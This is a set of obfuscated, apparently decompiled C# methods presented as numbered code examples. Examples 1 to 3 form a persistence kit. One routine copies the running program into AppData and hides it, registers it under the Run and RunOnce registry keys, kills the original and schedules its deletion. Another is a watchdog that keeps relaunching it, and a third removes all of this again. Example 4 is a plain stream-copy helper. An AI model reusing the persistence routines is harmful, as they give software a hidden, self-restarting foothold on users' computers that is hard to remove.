Example #1
0
    public void method_3()
    {
        string           text             = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
        string           text2            = Delegate135.smethod_0(Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0())), ".exe", "");
        ProcessStartInfo processStartInfo = Delegate21.smethod_0();

        Delegate131.smethod_0(processStartInfo, text);
        while (true)
        {
            Process[] array = Delegate136.smethod_0(text2);
            int       num   = array.Length;
            if (num < 2)
            {
                Delegate133.smethod_0(processStartInfo);
            }
            Delegate104.smethod_0(500);
        }
    }
Example #2
0
    public void method_1()
    {
        this.method_7();
        string text    = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData);
        string string_ = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
        string text2   = Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()));
        string text3   = Delegate124.smethod_0("/F /IM ", text2);
        string object_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe");

        this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
        this.registryKey_1 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Keys"));
        if (this.registryKey_1 == null)
        {
            Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"), "", "", RegistryValueKind.String);
        }
        if (this.registryKey_0 == null)
        {
            Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Files"), "", "", RegistryValueKind.String);
        }
        Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", this.string_3, object_, RegistryValueKind.String);
        Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Delegate124.smethod_0("*", this.string_3), object_, RegistryValueKind.String);
        Delegate128.smethod_0(string_, FileAttributes.Hidden);
        if (Delegate129.smethod_0(text) && !Delegate129.smethod_1(object_))
        {
            Delegate104.smethod_0(10000);
            try
            {
                Delegate130.smethod_0(string_, object_);
                ProcessStartInfo processStartInfo = Delegate21.smethod_0();
                Delegate131.smethod_0(processStartInfo, object_);
                ProcessStartInfo processStartInfo2 = Delegate21.smethod_0();
                Delegate132.smethod_0(processStartInfo2, false);
                Delegate132.smethod_1(processStartInfo2, true);
                Delegate131.smethod_0(processStartInfo2, "taskkill");
                Delegate131.smethod_1(processStartInfo2, text3);
                Delegate133.smethod_0(processStartInfo);
                GClass0.MoveFileEx(string_, null, 4);
                Delegate133.smethod_0(processStartInfo2);
            }
            catch (Exception)
            {
            }
        }
    }
Example #3
0
    public void method_24()
    {
        string      text         = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData);
        string      string_      = Delegate125.smethod_0(text, "\\", this.string_3, ".exe");
        string      text2        = Delegate125.smethod_0(text, "\\", this.string_3, ".bmp");
        string      text3        = Delegate124.smethod_0("/F /IM ", Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0())));
        RegistryKey registryKey  = Delegate173.smethod_0(Registry.CurrentUser, "Software", true);
        RegistryKey registryKey2 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        RegistryKey registryKey3 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);

        if (registryKey2 != null)
        {
            Delegate198.smethod_0(registryKey2, this.string_3);
        }
        if (registryKey3 != null)
        {
            Delegate198.smethod_0(registryKey3, Delegate124.smethod_0("*", this.string_3));
        }
        if (registryKey != null)
        {
            Delegate198.smethod_1(registryKey, this.string_3);
        }
        if (Delegate129.smethod_1(string_))
        {
            Delegate128.smethod_0(string_, FileAttributes.Hidden);
            GClass0.MoveFileEx(string_, null, 4);
            try
            {
                Delegate100.smethod_1(text2);
            }
            catch (Exception)
            {
            }
        }
        ProcessStartInfo processStartInfo = Delegate21.smethod_0();

        Delegate132.smethod_0(processStartInfo, false);
        Delegate132.smethod_1(processStartInfo, true);
        Delegate131.smethod_0(processStartInfo, "taskkill");
        Delegate131.smethod_1(processStartInfo, text3);
        Delegate133.smethod_0(processStartInfo);
    }
Example #4
0
 // Token: 0x06001476 RID: 5238
 // RVA: 0x00068CDC File Offset: 0x00066EDC
 public static void smethod_2(Stream stream_0, Stream stream_1, byte[] byte_0, Delegate21 delegate21_0, TimeSpan timeSpan_0, object object_0, string string_0)
 {
     if (stream_0 == null)
     {
         throw new ArgumentNullException("source");
     }
     if (stream_1 == null)
     {
         throw new ArgumentNullException("destination");
     }
     if (byte_0 == null)
     {
         throw new ArgumentNullException("buffer");
     }
     if (byte_0.Length < 128)
     {
         throw new ArgumentException("Buffer is too small", "buffer");
     }
     if (delegate21_0 == null)
     {
         throw new ArgumentNullException("progressHandler");
     }
     bool flag = true;
     DateTime now = DateTime.Now;
     long num = 0L;
     long num2 = 0L;
     if (stream_0.CanSeek)
     {
         num2 = stream_0.Length - stream_0.Position;
     }
     EventArgs9 eventArgs = new EventArgs9(string_0, num, num2);
     delegate21_0(object_0, eventArgs);
     bool flag2 = false;
     while (flag)
     {
         int num3 = stream_0.Read(byte_0, 0, byte_0.Length);
         if (num3 > 0)
         {
             num += (long)num3;
             stream_1.Write(byte_0, 0, num3);
         }
         else
         {
             stream_1.Flush();
             flag = false;
         }
         if (DateTime.Now - now > timeSpan_0)
         {
             flag2 = (num == num2);
             now = DateTime.Now;
             eventArgs = new EventArgs9(string_0, num, num2);
             delegate21_0(object_0, eventArgs);
             flag = eventArgs.method_0();
         }
     }
     if (!flag2)
     {
         eventArgs = new EventArgs9(string_0, num, num2);
         delegate21_0(object_0, eventArgs);
     }
 }